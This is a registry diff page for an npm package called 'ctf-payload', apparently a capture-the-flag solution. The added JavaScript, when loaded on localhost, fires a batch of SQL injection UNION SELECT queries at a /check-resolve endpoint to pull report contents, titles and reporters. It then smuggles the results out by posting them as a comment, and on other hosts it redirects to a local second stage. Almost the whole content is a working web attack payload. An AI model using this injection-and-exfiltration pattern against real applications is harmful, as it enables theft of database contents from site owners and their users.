ctf-payload 1.0.45 → 1.0.47
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +13 -4
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,8 +1,17 @@
|
|
|
1
1
|
if(window.location.hostname === '127.0.0.1'){
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
const queries = [
|
|
3
|
+
"id=0 UNION SELECT content FROM reports WHERE id=5--",
|
|
4
|
+
"id=0 UNION SELECT content FROM reports WHERE id=6--",
|
|
5
|
+
"id=0 UNION SELECT title FROM reports WHERE id=5--",
|
|
6
|
+
"id=5--",
|
|
7
|
+
"id=0 UNION SELECT reporter FROM reports WHERE id=5--"
|
|
8
|
+
];
|
|
9
|
+
Promise.all(queries.map(body=>
|
|
10
|
+
fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
|
|
11
|
+
.then(r=>r.text())
|
|
12
|
+
.then(t=>body.substring(0,30)+'='+t.substring(0,100))
|
|
13
|
+
)).then(results=>{
|
|
14
|
+
fetch('/post-comment',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'comment-author=RES&comment2='+encodeURIComponent(results.join('|').substring(0,190))});
|
|
6
15
|
});
|
|
7
16
|
} else {
|
|
8
17
|
window.location='http://127.0.0.1:8255/part2';
|